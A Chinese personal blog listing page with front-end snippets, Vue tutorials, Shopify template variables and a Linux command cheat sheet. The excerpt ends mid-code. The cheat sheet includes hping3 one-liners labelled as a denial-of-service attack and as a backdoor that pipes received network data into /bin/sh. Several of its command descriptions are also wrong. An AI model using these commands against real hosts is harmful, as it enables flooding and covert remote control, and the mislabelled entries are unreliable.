首页
留言
友情链接
标签页
Search
1
如何使用JavaScript获取和设置CSS root变量值
1,008 阅读
2
中国历史朝代顺序图
627 阅读
3
春和 《江海共余生》
441 阅读
4
hyperf常用命令
370 阅读
5
清除浮动,单行多行超出用...
354 阅读
分享
Web前端
html&css
javascript
Vue
shopify
shoplazza
后端
ThinkPHP
YII2
服务器端
软件安装
问题合集
故事
诗词
生活
学习
学科
语文
数学
英语
物理
化学
生物
政治
历史
地理
自然
其他
抖音
快手
小视频
随笔
易经
书摘
登录
/
注册
Search
标签搜索
一年级语文
sunshine
累计撰写
146
篇文章
累计收到
15
条评论
首页
栏目
分享
Web前端
html&css
javascript
Vue
shopify
shoplazza
后端
ThinkPHP
YII2
服务器端
软件安装
问题合集
故事
诗词
生活
学习
学科
语文
数学
英语
物理
化学
生物
政治
历史
地理
自然
其他
抖音
快手
小视频
随笔
易经
书摘
页面
留言
友情链接
标签页
搜索到
145
篇与
的结果
2022-11-12
如何使用JavaScript获取和设置CSS root变量值
1.CSS全局变量:root { --color: #ccc; }2.js代码获取css全局变量getComputedStyle(document.documentElement).getPropertyValue('--color'); // #ccc 3.js代码设置css全局变量document.documentElement.style.setProperty('--color', '#fe000');
2022年11月12日
1,008 阅读
0 评论
2 点赞
2022-11-12
Javascript中使用Youtube
CSS部分<style> * { margin: 0; padding: 0; box-sizing: border-box; } :root { --container-title-fontsize: 30px; --article-content-fontsize: 14px; --article-link-fontsize: 13px; --video-title-fontsize: 14px; --colorTitle: #000; } .video-container { width: 99%; margin: auto; } .video-container-title { width: 100%; text-align: center; font-size: var(--container-title-fontsize); font-weight: bold; margin-top: 50px; color:var(--colorTitle); } .video-group { display: flex; justify-content: space-between; margin: 10px 0; flex-wrap: wrap; } .video-group:after { width: calc(100% / 3 - 20px); content: ''; height: 0; visibility: hidden; } .video-item { width: calc(100% / 3 - 20px); margin-top: 30px; } .video-content { width: 100%; text-align: center; } .video-title { font-size: var(--video-title-fontsize); } .youtube { background-color: #000; margin-bottom: 20px; position: relative; padding-top: 56.25%; overflow: hidden; cursor: pointer; } .youtube .play-button, .youtube .play-button:before { top: 50%; left: 50%; transform: translate3d(-50%, -50%, 0); } .youtube img, .youtube iframe, .youtube .play-button, .youtube .play-button:before { position: absolute; } .youtube img, .youtube .play-button { cursor: pointer; } .youtube img { width: 100%; top: 0; left: 0; opacity: 0.8; } .youtube .play-button { width: 90px; height: 60px; background-color: #333; box-shadow: 0 0 30px rgb(0 0 0 / 60%); z-index: 1; opacity: 0.8; border-radius: 6px; } .youtube .play-button:before { content: ""; border-style: solid; border-width: 15px 0 15px 26px; border-color: transparent transparent transparent #fff; } .youtube .play-button:hover { background-color: #f00; } .youtube iframe { height: 100%; width: 100%; top: 0; left: 0; } [data-max="false"] img { top: -47px; } </style>Html部分<div class="video-container"> <div class="video-container-title"> VIDEO REVIEW </div> <div class="video-group"> <div class="video-item"> <div class="video-content"> <div class="youtube" data-embed="cUdfHgzvHoQ" data-max="false"> <div class="play-button"></div> </div> </div> <p class="video-title">Full review of EnjoyBot 12v 100Ah LFP battery,Full review of EnjoyBot 12v 100Ah LFP battery</p> </div> <div class="video-item"> <div class="video-content"> <div class="youtube" data-embed="0jErmH2iEG4" data-max="false"> <div class="play-button"></div> </div> </div> <p class="video-title">EnjoyBot 12V 100Ah LiFePO4 Battery Review, Super Cheap, $256/kWh!</p> </div> </div> </div>JS部分<script> var youtube = document.querySelectorAll(".youtube"); // loop for (var i = 0; i < youtube.length; i++) { var source = ''; // thumbnail image source. if (youtube[i].dataset.max == 'false') { source = "https://img.youtube.com/vi/" + youtube[i].dataset.embed + "/0.jpg"; } else { source = "https://img.youtube.com/vi/" + youtube[i].dataset.embed + "/maxresdefault.jpg"; } var image = new Image(); image.src = source; image.addEventListener("load", function () { youtube[i].appendChild(image); }(i)); youtube[i].addEventListener("click", function () { console.log('click') var iframe = document.createElement("iframe"); iframe.setAttribute("frameborder", "0"); iframe.setAttribute("allowfullscreen", ""); iframe.setAttribute("src", "https://www.youtube.com/embed/" + this.dataset.embed + "?rel=0&autoplay=1&showinfo=1"); this.innerHTML = ""; this.appendChild(iframe); }); } </script>
2022年11月12日
25 阅读
0 评论
0 点赞
2022-11-10
Vue3学习笔记
Vue3全家桶:Vue3,Composition API,Options API,Element Plus,Vue Router,Vue CLI,Vuex,Pinia,ViteVue3核心知识点:MVVM设计模式、响应式数据实现原理、指令系统、计算属性与侦听器、条件渲染与列表渲染、class样式与style样式的三种形态、表单处理、生命周期钩子函数、组件通信、组件属性与事件、组件内容分发、脚手架使用及原理实现、ref属性在元素和组件上、nextTick监听DOM、自定义指令及应用场景、组件功能之Mixin混入、插件的概念及插件的实现、动态组件与keep-alive组件缓存、transition动画与过渡的实现、异步组件与Suspense, Provide_Inject、Teleport、虚拟DOM与render函数及Diff算法、setup方法与script_setup及ref响应式、reactive,toRefs, watchEffect, defineProps...TypeScript与框架结合Vue组合式+TS,状态管理+TSVue选项式+TS,组件库+TSReact类组件+TS,Axios+TSReact函数组件+TS,路由+TSTypeScript核心知识点类型声明空间与变量声明空间、类型注解与类型推断、类型分类与联合类型与交叉类型、never类型与any类型与unknown类型、类型断言与非空断言、数组类型与元祖类型、对象类型与索引签名、函数类型与void类型、函数重载与可调用注解、枚举类型与const枚举、详解接口与类型别名之间区别、字面量类型和keyof关键字、类型保护与自定义类型保护、定义泛型和泛型常见操作、类型兼容性详解、映射类型与内置工具类型、条件类型和infer关键字、类中如何使用类型、模块系统与命名空间、d.ts声明文件和declare关键字、@types和DefinitelyTyped仓库、lib.d.ts和global.d.ts、tsconfig.json...MVC设计模式与MVVM设计模式选项式API的编程风格与优势指令系统与事件方法及传参处理声明式宣染及响应式数据实现原理计算属性与侦听器区别与原理条件渲染与列表宣染及注意点class样式与style样式的三种形态表单处理与双向数据绑定原理生命周期钩子函数及原理分析MVC设计模式与MVVM设计模式为什么使用Vue框架?◆最大的优点:就是不用自己完成复杂的DOM操作了,而由框架帮我们去完成选项式API的编程风格与优势:let vm = createApp( /* 选项*/ methods: {}, computed: {}, watch:{}, data(){}, mounted(){} }).mount(' #app');💠只有一个参数,不会出现参数顺序的问题,随意调整配置的位置 💠 非常清晰,语法化特别强 💠 非常适合添加默认值的声明式宣染及响应式数据实现原理💠利用ES6的Proxy对象对底层进行了监控计算属性与侦听器区别与原理🔸计算属性适合: 多个值去影响一个值的应用;而侦听器适合一个值去影响多个值的应用🔸侦听器支持异步的程序,而计算属性不支持异步的程序🔷 条件渲染:使用v-if指令条件性地宣染一块内容。这块内容只会在指令的表达式返回truthy真值的时候被渲染🔷 falsy假值 (即 false,0,-0, On, "“,null, undefined和NaN)条件宣染与列表渲染及注意点:列表宣染需要添加key属性 -> 用来跟踪列表的身份v-if和v-for尽量不要一起使用 -> 利用计算属性来完成这类功能template标签起到的作用 -> 形成一个整体容器并且不会被宣染<div id="app"> <!-- <input- type="text" - v-model="message">--> <input type="text" :value="message" @input="message = $event.target.value"> </div>
2022年11月10日
19 阅读
0 评论
1 点赞
2022-11-02
Linux指令大全
service --status -all【服务状态】service MySQL restart【重启数据库】pstree -a 【显示每个程序的完备指令】pstree -c【不适用精确表示法】pstree -l【显示树状图】pstree -h【列数列图】pstree -u【显示用户名】pstree -n【显示程序识别码】pstree -G【列绘图字符】systemctl enable httpd.service【使某个服务启用】systemctl disable httpd.service【使某个服务不启用】systemctl status httpd.service【服务详细信息】system list-units --type=service【显示所有已经启用的服务】systemctl start httpd.service【启用某服务】systemctl stop httpd.service 【停用某服务】systemctl restart httpd.service【重启某服务】iptables -A INPUT -p tcp --dport 22 -j ACCEPT【允许访问22端口】iptables -A INPUT -p tcp --dport 80 -j ACCEPT【允许访问80端口】sudo systemctl status firewalld.service【开启防火墙】sudo systemctl stop firewalld.service【关闭防火墙】sudo systemctl disable firewalld.service【彻底关闭防火墙】halt -p【关闭系统】halt -d 【关闭系统不保留】reboot【重启】reboot -w【模拟重启】shutdown -h【关机】shutdown -r【重启】poweroff -f【强制关机】poweroff -i【关闭网络接口】wget http://www.linux.net/testfile.zip【单个文件下载】wget -c【断点下载】wget -b【后台下载】wget -spider【测试下载】wget -i【下载多个文件】Telnet -a【自动登入远程系统】Telnet -k【不自动登录系统】Telnet -L【用户名】rexec -p【密码】rexec -n【明确的输入用户名密码】iptraf -i【开启流量监视】iptraf -g【网络接口信息】iptraf -d【开启流量监视信息】iptraf -z【显示包计数】iptraf -s【UDP TCP流量信息】iptraf -l【监视工作站信息】iptraf -t【监视信息】nstat -h【显示帮助信息】nstat -v【显示版本信息】nstat -d【守护进程的方式执行命令】lnstat【Linux的方式】ss -t -a【显示ICP链接】ss -s【显示sockets】ss -l【显示打开网络接口】ss -pl【显示进程使用】ss -u -a【显示UDP】ss -a【显示所有的套接字】ss -i【显示内部TCP信息】ss -d【显示DDCP】tcpdump -a【转换广播协议】tcpdump -f【数字显示】tcpdump -x【十六进制读取数据】tcpdump -l【列出缓冲区】tcpdump -i ethO【抓包】tcpdump host IP【截取IP数据包】tcpdump -i ethO host name【截取主机数据】tcpdump -tcp port 23 host ip【监视制定数据包】hping3 -S -c 1000000 -a ip -p ip【防火墙测试】hping3 -i ethO -aip -S ip -p 80 -i u1000【拒绝服务攻击】hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh【木马端】echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd【远程控制端】host -a【详细DNS信息】host -c 【SOA记录】host -t【域名信息类型】host -v【详细执行信息】nslookup 网站【域名查找】arping 网站arping -b【以太网广播帧】dig -p 【域名端口号】dig -x【逆向解析】arp -a【显示缓冲区】arp -rl【指定使用类型】arp -D【硬件接口地址】arp -E【Linux显示条目】arp -n【数字方式显示条目】arp -v【显示详细信息】arp -f【主机IP与Mac映射】traceroute -i【ICMP取代UDP】traceroute -p【UDP端口】traceroute -n【使用IP地址】traceroute -x【开启关闭数据包】netstat -a【列出所有端口】netstat -au 【UDP端口】netstat -lt【tcp端口】netstat -lx【Unix端口】netstat -st【tcp端口】netstat -pt【PID进程】netstat -C【路由表信息】netstat -at【tcp端口】netstat -l【监听端口】netstat -lu【UDP端口监听】netstat -s【端口详细信息】netstat -su【UDP端口】netstat -c【列出网络状态】nststat -f【显示FIB】
2022年11月02日
124 阅读
0 评论
1 点赞
2022-10-31
常用偏门CSS汇总
常用偏门CSS汇总
2022年10月31日
132 阅读
0 评论
1 点赞
2022-10-27
Shopify,Shoplaza平台全局参数一览
shopifypurchase事件中:订单号:{{ order.order_number }} 订单金额:{{ total_price | times: 0.01 }} 运费:{{ shipping_price | times: 0.01 }} 币种:{{ order.currency }}Shoplazapurchase事件中订单号:{{ checkout.order_id }} 金额:{{ checkout.total_price }} 订单总金额(check.total_price) = 商品优惠后的总价(check.line_items_subtotal_price) + 税费(check.tax_price) + 物流费(check.shipping_price)计算销售额Shopify: sale = subtotal_price + total_shipping Shoplaza: sale = sub_total - total_discount + total_tax + total_shipping获取collection产品信息shopify: {% assign collection = section.settings.collection %} {% assign products = collections[collection].products %} {% for product in products %} {% assign price = product.price | money_with_currency %} {% assign retailPrice = product.compare_at_price | money_with_symbol %} {% assign productImage = product.images[0].src | img_url: '640x' %} {% assign url = product.url %} {% endfor %}shoplaza: {% assign collection = section.settings.collection %} {% assign products = collections[collection.id].products %} {% for product in products %} {% assign price = product.price | money_with_symbol %} {% assign retailPrice = product.compare_at_price | money_with_symbol %} {% assign productImage = product.image.src | img_url: '640x' %} {% assign url = product.url %} {% endfor %}shoplaza获取单个产品自定义属性(json格式时)和其他产品参数信息 {% assign product = all_products[section.settings.product.id] %} {% assign icons = product.metafields.sunshine.show_case.value.icons %}
2022年10月27日
73 阅读
0 评论
4 点赞
2022-10-15
唐诗三百首(6-10)
危楼高百尺,手可摘星辰。不敢高声语,恐惊天上人。
2022年10月15日
46 阅读
0 评论
0 点赞
2022-10-13
javascript框架-Vue
Vue.js西岭老湿第0章 Vue介绍0.0 开发工程发展历史通过前面的介绍,我们对目前的项目工程化有了大体了了解,那么其中,在第二阶段的工程化演进中,有一个重要的工程设计理念诞生,他就是著名的 MVC 设计模式,简单点,MVC 其实就是为了项目工程化的一种分工模式;MVC 中的最大缺点就是单项输入输出,所有的 M 的变化及 V 层的变化,必须通过 C 层调用才能展示;随着前端技术及前端工程化体系的发展成熟,参考MVC的设计理念,前端出现了 MVVM 的设计思想,简单理解就是在前端实现数据层与展示层的相互调用,降低业务层面的交互逻辑;后面再进行详细介绍;0.1 Vue 介绍Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的 渐进式框架。注意:Vue是一个框架,相对于 jq 库来说,是由本质区别的;https://cn.vuejs.org/Vue 不支持 IE8 及以下版本,因为 Vue 使用了 IE8 无法模拟的 ECMAScript 5 特性。但它支持所有兼容 ECMAScript 5 的浏览器。0.2 Vue 初体验直接下载引入:https://cn.vuejs.org/v2/guide/installation.htmlCDN 引入:<script src="https://cdn.jsdelivr.net/npm/vue@2.5.16/dist/vue.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/vue/2.5.16/vue.js"></script>CDN 加速: https://www.bootcdn.cn/<body> <div id="div"> {{user_name}} </div> </body> // 两种引入方式,任意选择 <script src="https://cdn.jsdelivr.net/npm/vue@2.5.16/dist/vue.js"></script> <script src="./vue.js"></script> <script> var app = new Vue({ el:'#div', // 设置要操作的元素 // 要替换的额数据 data:{ user_name:'我是一个div' } }) </script>第1章 Vue 实例对象每个 Vue 应用都是通过用 Vue 函数创建一个新的 Vue 实例 开始的:var vm = new Vue({ // 选项 })<body> <div id="div"> {{user_name}} </div> </body> <script src="./vue.js"></script> <script> var app = new Vue({ el:'#div', // 设置要操作的元素 // 要替换的额数据 data:{ user_name:'我是一个div' } }) // 打印Vue实例对象 console.log(app); </script>通过打印实例对象发现,其中 el 被Vue 放入了公有属性中,而data 则被放入了 私有属性中,而 data 中的数据,需要被外部使用,于是 Vue 直接将data 中的属性及属性值,直接挂载到 Vue 实例中,也就是说,data中的数据,我们可以直接使用 app.user_name 直接调用;var app = new Vue({ el:'#div', // 设置要操作的元素 // 要替换的额数据 data:{ user_name:'我是一个div', user:222222 } }) console.log(app.user_name);第 2 章 模板语法-插值我们在前面的代码中,使用 {{}} 的形式在 html 中获取实例对象对象中 data 的属性值;这种使用 {{}} 获取值得方式,叫做 插值 或 插值表达式 ;2.1 文本数据绑定最常见的形式就是使用“Mustache”语法 (双大括号) 的文本插值:<span>Message: {{ msg }}</span>Mustache 标签将会被替代为对应数据对象上 msg 属性的值。无论何时,绑定的数据对象上 msg 属性发生了改变,插值处的内容都会更新。即便数据内容为一段 html 代码,仍然以文本内容展示<body> <div id="div"> 文本插值 {{html_str}} </div> </body> <script> var app = new Vue({ el:'#div', data:{ html_str:'<h2>Vue<h2>' } }) </script>浏览器渲染结果:<div id="div">文本插值 <h2>Vue<h2></div>打开浏览器的 REPL 环境 输入 app.html_str = '<s>vue</s>'浏览器渲染结果就会立刻发生改变: <div id="div">文本插值 <s>vue</s></div>2.2 使用 JavaScript 表达式迄今为止,在我们的模板中,我们一直都只绑定简单的属性键值。但实际上,对于所有的数据绑定,Vue.js 都提供了完全的 JavaScript 表达式支持,但是不能使用 JS 语句;(表达式是运算,有结果;语句就是代码,可以没有结果)<body> <div id="div" > {{ un > 3 ? '大' : '小'}} {{ fun() }} </div> </body> <script> var app = new Vue({ el:'#div', data:{ un:2, fun:()=> {return 1+2} } }) </script>第3章 模板语法-指令指令 (Directives) 是带有 v- 前缀的特殊 特性 相当于自定义html属性。指令特性的值预期是单个 JavaScript 表达式 (v-for 是例外情况,稍后我们再讨论)。指令的职责是,当表达式的值改变时,将其产生的连带影响,响应式地作用于 DOM;参考 手册 、 API<body> <div id="div" > <p v-if="seen">现在你看到我了</p> </div> </body> <script> var app = new Vue({ el:'#div', data:{ seen:false } }) </script>这里,v-if 指令将根据表达式 seen 的值的真假来插入/移除 <p> 元素。3.1 v-text / v-html 文本https://cn.vuejs.org/v2/api/#v-texthttps://cn.vuejs.org/v2/api/#v-html<body> <div id="div" {{class}}> <p v-text="seen"></p> <p v-html="str_html"></p> </div> </body> <script> var app = new Vue({ el:'#div', data:{ seen:'<h1>Vue</h1>', str_html:'<h1>Vue</h1>', class:'dd', } }) </script>注意:v-textv-text和差值表达式的区别v-text 标签的指令更新整个标签中的内容(替换整个标签包括标签自身)差值表达式,可以更新标签中局部的内容v-html可以渲染内容中的HTML标签尽量避免使用,否则会带来危险(XSS攻击 跨站脚本攻击)HTML 属性不能用 {{}} 语法3.2 v-bind 属性绑定https://cn.vuejs.org/v2/api/#v-bind可以绑定标签上的任何属性。动态绑定图片的路径<img id=“app” v-bind:src="src" /> <script> var vm = new Vue({ el: '#app', data: { src: '1.jpg' } }); </script>绑定a标签上的id<a id="app" v-bind:href="'del.php?id=' + id">删除</a> <script> var vm = new Vue({ el: '#app', data: { id: 11 } }); </script>绑定class对象语法和数组语法对象语法如果isActive为true,则返回的结果为 <div id="app" class="active"></div><div id="app" v-bind:class="{active: isActive}"> hei </div> <script> var vm = new Vue({ el: '#app', data: { isActive: true } }); </script>数组语法渲染的结果: <div id="app" class="active text-danger"></div><div id="app" v-bind:class="[activeClass, dangerClass]"> hei </div> <script> var vm = new Vue({ el: '#app', data: { activeClass: 'active', dangerClass: 'text-danger' } }); </script>绑定style对象语法和数组语法对象语法渲染的结果: <div id="app" style="color: red; font-size: 40px;">hei</div><div id="app" v-bind:style="{color: redColor, fontSize: font + 'px'}"> hei </div> <script> var vm = new Vue({ el: '#app', data: { redColor: 'red', font: 40 } }); </script>数组语法渲染结果:<div id="app" style="color: red; font-size: 18px;">abc</div><div id="app" v-bind:style="[color, fontSize]">abc</div> <script> var vm = new Vue({ el: '#app', data: { color: { color: 'red' }, fontSize: { 'font-size': '18px' } } }); </script>v-bind 简化语法<div id="app"> <img v-bind:src="imageSrc"> <!-- 缩写 --> <img :src="imageSrc"> </div> <script> var vm = new Vue({ el: '#app', data: { imageSrc: '1.jpg', } }); </script>3.3 数据绑定3.3.1 单向数据绑定<div id="div"> <input type="text" :value="input_val"> </div> <script> var app = new Vue({ el: '#div', data: { input_val: 'hello world ' } }) </script>浏览器渲染结果: <div id="div"><input type="text" value="hello world"></div>通过浏览器 REPL 环境可以进行修改 app.input_val = 'Vue'浏览器渲染结果: <div id="div"><input type="text" value="Vue"></div>我们通过 vue 对象修改数据可以直接影响到 DOM 元素,但是,如果直接修改 DOM 元素,却不会影响到 vue 对象的数据;我们把这种现象称为 单向数据绑定 ;3.3.2 双向数据绑定 v-modelhttps://cn.vuejs.org/v2/api/#v-model<div id="div"> <input type="text" v-model="input_val" > </div> <script> var app = new Vue({ el: '#div', data: { input_val: 'hello world ' } }) </script>通过 v-model 指令展示表单数据,此时就完成了 双向数据绑定 ;不管 DOM 元素还是 vue 对象,数据的改变都会影响到另一个;注意:数据绑定是目前所有MVVM前端框架的核心特性;甚至可以说,没有数据绑定就不能算是框架;3.3.3 双向数据绑定的应用范围文本框 & 文本域<div id="div"> <textarea v-model="inp_val"></textarea> <div>{{ inp_val }}</div> </div> <script> var app = new Vue({ el: '#div', data: { inp_val: '' } }) </script>绑定复选框<div id="div"> 吃饭:<input type="checkbox" value="eat" v-model="checklist"><br> 睡觉:<input type="checkbox" value="sleep" v-model="checklist"><br> 打豆豆:<input type="checkbox" value="ddd" v-model="checklist"><br> {{ checklist }} </div> <script> var vm = new Vue({ el: '#div', data: { checklist: '' // checklist: [] } }); </script>绑定单选框<div id="app"> 男<input type="radio" name="sex" value="男" v-model="sex"> 女<input type="radio" name="sex" value="女" v-model="sex"> <br> {{sex}} </div> <script> var vm = new Vue({ el: '#app', data: { sex: '' } }); </script>修饰符.lazy - 取代 input 监听 change 事件.number - 输入字符串转为有效的数字.trim - 输入首尾空格过滤<div id="div"> <input type="text" v-model.lazy="input_val"> {{input_val}} </div> <script> var app = new Vue({ el: '#div', data: { input_val: 'hello world ' } }) </script>3.4 v-on 绑定事件监听https://cn.vuejs.org/v2/api/#v-onhttps://cn.vuejs.org/v2/guide/events.html3.4.1 基本使用<div id="app"> <input type="button" value="按钮" v-on:click="cli"> </div> <script> var vm = new Vue({ el: '#app', data: { cli:function(){ alert('123'); } } }); </script>上面的代码运行是没有问题的,但是,我们不建议这样做,因为 data 是专门提供数据的对象,事件触发需要执行的是一段代码,需要的是一个方法 (事件处理程序) ;修改代码如下:<div id="app"> <!-- 使用事件绑定的简写形式 --> <input type="button" value="按钮" @click="cli"> </div> <script> var vm = new Vue({ el: '#app', data: {}, // 将事件处理程序写入methods对象 methods: { cli: function () { alert('123'); } } }); </script>向事件处理器中传参<div id="app"> <!-- 直接调用传参即可 --> <input type="button" value="按钮" @click="cli(1,3)"> </div> <script> var vm = new Vue({ el: '#app', data: {}, methods: { // 接受参数 cli: function (a,b) { alert(a+b); } } }); </script>而此时,如果在处理器中需要使用事件对象,则无法获取,我们可以用特殊变量 $event 把它传入方法<input type="button" value="按钮" @click="cli(1,3,$event)">methods: { // 接受参数 cli: function (a,b,ev) { alert(a+b); console.log(ev); } }3.4.2 事件修饰符原生 JS 代码,想要阻止浏览器的默认行为(a标签跳转、submit提交),我们要使用事件对象的 preventDefault() 方法<div id="app"> <a href="http://www.qq.com" id="a">腾百万</a> </div> <script> document.getElementById('a').onclick = (ev)=>{ // 组织浏览器的默认行为 ev.preventDefault(); } </script>使用修饰符 阻止浏览器的默认行为<div id="app"> <a href="http://www.qq.com" @click.prevent="cli">腾百万</a> </div> <script> var vm = new Vue({ el: '#app', data: {}, // 将事件处理程序写入methods对象 methods: { cli: function () { alert('123'); } } }); </script>使用修饰符绑定一次性事件<div id="app"> <a href="http://www.qq.com" @click.once="cli($event)">腾百万</a> </div> <script> var vm = new Vue({ el: '#app', data: {}, // 将事件处理程序写入methods对象 methods: { cli: function (ev) { ev.preventDefault(); alert('123'); } } }); </script>3.4.3 按键修饰符绑定键盘抬起事件,但是只有enter 键能触发此事件<div id="app"> <input type="text" @keyup.enter="keyup"> </div> <script> var vm = new Vue({ el: '#app', data: {}, methods: { keyup:()=>{ console.log('111') } } }); </script>3.4.4 系统修饰符按住 shift 后才能触发点击事件<div id="app"> <input type="button" value="按钮" @click.shift="cli"> </div> <script> var vm = new Vue({ el: '#app', data: {}, methods: { cli:()=>{ console.log('111') } } }); </script>3.4.5 鼠标修饰符鼠标中键触发事件<div id="app"> <input type="button" value="按钮" @click.middle="cli"> </div> <script> var vm = new Vue({ el: '#app', data: {}, methods: { cli:()=>{ console.log('111') } } }); </script>3.4.6 为什么在 HTML 中监听事件?你可能注意到这种事件监听的方式违背了关注点分离 (separation of concern) 这个长期以来的优良传统。但不必担心,因为所有的 Vue.js 事件处理方法和表达式都严格绑定在当前视图的 ViewModel 上,它不会导致任何维护上的困难。实际上,使用 v-on 有几个好处:扫一眼 HTML 模板便能轻松定位在 JavaScript 代码里对应的方法。因为你无须在 JavaScript 里手动绑定事件,你的 ViewModel 代码可以是非常纯粹的逻辑,和 DOM 完全解耦,更易于测试。当一个 ViewModel 被销毁时,所有的事件处理器都会自动被删除。你无须担心如何清理它们。3.5 v-show 显示隐藏https://cn.vuejs.org/v2/api/#v-show根据表达式之真假值,切换元素的 display CSS 属性。<div id="app"> <p v-show="is_show">Vue</p> </div> <script> var vm = new Vue({ el:'#app', data:{ is_show:false }, methods:{}, }) </script>案例:点击按钮切换隐藏显示<div id="app"> <input type="button" value="按钮" @click="isshow"> <p v-show="is_show">Vue</p> </div> <script> var vm = new Vue({ el:'#app', data:{ is_show:false }, methods:{ isshow:function(){ this.is_show = !this.is_show; } }, }) </script>3.6 v-if / v-else / v-else-if 条件判断https://cn.vuejs.org/v2/api/#v-if<div id="app"> <div v-if="type === 'A'"> A </div> <div v-else-if="type === 'B'"> B </div> <div v-else-if="type === 'C'"> C </div> <div v-else> Not A/B/C </div> </div> <script> var vm = new Vue({ el: '#app', data: { type: 'F' }, }) </script>3.7 v-for 循环https://cn.vuejs.org/v2/api/#v-for<div id="app"> <ul> <li v-for="(val,key) in arr">{{val}}---{{key}}</li> </ul> <ul> <li v-for="(val,key) in obj">{{val}}---{{key}}</li> </ul> </div> <script> var vm = new Vue({ el: '#app', data: { arr: ['a', 'b', 'c'], obj: { id: 1, name: '李四' } }, }) </script>3.8 v-cloakhttps://cn.vuejs.org/v2/api/#v-cloak和 CSS 规则如 [v-cloak] { display: none } 一起用时,这个指令可以隐藏未编译的 Mustache 标签直到实例准备完毕。<div id="app"> <p>{{obj.id}}</p> </div> <script src="./vue.js"></script> <script> setTimeout(() => { var vm = new Vue({ el: '#app', data: { arr: ['a', 'b', 'c'], obj: { id: 1, name: '李四' } }, }) }, 2000); </script>当我们的网络受阻时,或者页面加载完毕而没有初始化得到 vue 实例时,DOM中的 {{}} 则会展示出来;为了防止现象,我们可以使用 CSS 配合 v-cloak 实现获取 VUE 实例前的隐藏;<style> [v-cloak] { display: none; } </style> <div id="app"> <p v-cloak>{{obj.id}}</p> </div> <script src="./vue.js"></script> <script> setTimeout(() => { var vm = new Vue({ el: '#app', data: { obj: { id: 1, name: '李四' } }, }) }, 2000); </script>3.9 v-oncehttps://cn.vuejs.org/v2/api/#v-once只渲染元素和组件一次。随后的重新渲染,元素/组件及其所有的子节点将被视为静态内容并跳过<div id="app"> <p v-once>{{msg}}</p> </div> <script> var vm = new Vue({ el: '#app', data: { msg:'kkk' }, }) </script>第4章 TodoList 案例上市产品: ToDoList 、奇妙清单 、滴答清单学习练手项目 : TodoMVC 、 Vue官方示例为什么选择这样的案例:产品功能简洁,需求明确,所需知识点丰富;实现基本功能容易,涵盖所学基础知识;而可扩展性强,完善所有功能比较复杂,所需技术众多;在学习中,可以灵活取舍;4.1 项目初始化在项目目录中执行 npm install 命令,下载所需静态资源 ; 将Vue.js框架代码,复制到 js 目录,在index.html中引入 vue : <script src="./js/vue.js"></script>同时 在 index.html 最下方,项目引入了app.js ; 而我们要写的 vuejs 代码,都放在这个文件中;4.2 数据遍历const list_data = [ {id:1,title:'吃饭',stat:true}, {id:2,title:'睡觉',stat:false}, {id:3,title:'打豆豆',stat:true}, ] new Vue({ el:'#todoapp', data:{ // list_data:list_data, list_data,// es6属性简写 } })<ul class="todo-list"> <li v-for="(val,key) in list_data"> <div class="view"> <input class="toggle" type="checkbox" v-model="val.stat"> <label>{{val.title}}</label> <button class="destroy"></button> </div> <input class="edit" value="Rule the web"> </li> </ul>4.3 展示无数据状态标签及内容都是在 section footer 两个标签中的,当 list_data 中没有数据时,我们只需要隐藏这个两个标签即可:<section v-if="list_data.length" class="main"> …… </section> <footer v-if="list_data.length" class="footer"> …… </footer>两个标签都有 v-if 判断 ,因此我们可以使用一个 div 包裹两个标签,使 div 隐藏即可:<div v-if="list_data.length"> <section class="main"> …… </section> <footer class="footer"> …… </footer> </div>如果有内容,那么 DOM 书中就会多出一个 div 标签,那么我们可以选择使用 template (vue中的模板标识),有内容时,浏览器渲染不会有此节点;<template v-if="list_data.length"> <section class="main"> …… </section> <footer class="footer"> …… </footer> </template>4.3 添加任务绑定 enter 键盘事件:<input @keyup.enter="addTodo" class="new-todo" placeholder="请输入" autofocus>new Vue({ el:'#todoapp', data:{ // list_data:list_data, list_data,// es6属性简写 }, //添加事件处理器 methods:{ // addTodo:function(){} // 简写形式 addTodo(){ console.log(123); } } })修改代码完成任务添加:methods: { // 添加任务 // addTodo:function(){} // 简写形式 addTodo(ev) { // 获取当前触发事件的元素 var inputs = ev.target; // 获取value值,去除空白后判断,如果为空,则不添加任务 if (inputs.value.trim() == '') { return; } // 组装任务数据 var todo_data = { id: this.list_data.length + 1 + 1, title: inputs.value, stat: false }; // 将数据添加进数组 this.list_data.push(todo_data); // 清空文本框内容 inputs.value = ''; } }4.4 任务的全选与反选点击文本框左边的下箭头,实现全选和反选操作为元素绑定点击事件:<input @click="toggleAll" id="toggle-all" class="toggle-all" type="checkbox">添加处理程序:toggleAll(ev){ // 获取点击的元素 var inputs = ev.target; // console.log(inputs.checked); // 循环所有数据为状态重新赋值 // 因为每个元素的选中状态都是使用 v-model 的双向数据绑定, // 因此 数据发生改变,状态即改变,状态改变,数据也会改变 for(let i=0;i<this.list_data.length;i++){ this.list_data[i].stat = inputs.checked; } }4.5 完成任务如果任务完成,状态改为选中, li 的 class 属性为 completed 时文字有中划线;<li v-for="(val,key) in list_data" v-bind:class="{completed:val.stat}">4.6 删除任务绑定点击事件,将当前索引值传入事件处理程序:<button @click="removeTodo(key)" class="destroy"></button>按照索引,删除相应的数据:removeTodo(key){ this.list_data.splice(key,1); },4.7 删除已完成的任务绑定事件<button @click="removeAllDone" class="clear-completed">Clear completed</button>循环遍历所有数据,删除已被标记为完成的任务:removeAllDone(){ for(let i=0;i<list_data.length;i++){ if(list_data[i].stat == true){ this.list_data.splice(i,1); } } }循环的代码看起来很不舒服, Array.prototype.filter() 方法创建一个新数组, 其包含通过所提供函数实现的测试的所有元素。var arr = [1,4,6,2,78,23,7,3,8]; // 原始写法 // var new_arr = arr.filter(function(v){ // // if(v>8){ // // return true; // // } // return v>8; // }) // 箭头函数写法 // var new_arr = arr.filter((v)=>{ // return v>8; // }) // 精简写法 var new_arr = arr.filter((v)=> v>8); console.log(new_arr);修改项目代码:removeAllDone(){ // 原始循环判断用法 // for(let i=0;i<list_data.length;i++){ // if(list_data[i].stat == true){ // this.list_data.splice(i,1); // } // } // 上面是循环删除符合条件的数据 // 下面是保留不符合条件的数据 // 原始标准库对象方法 // this.list_data = this.list_data.filter(function(v){ // if(v.stat == false){ // return true; // } // }) // 箭头函数方法 // this.list_data = this.list_data.filter(function(v){ // return !v.stat; // }) // 精简方法 this.list_data = 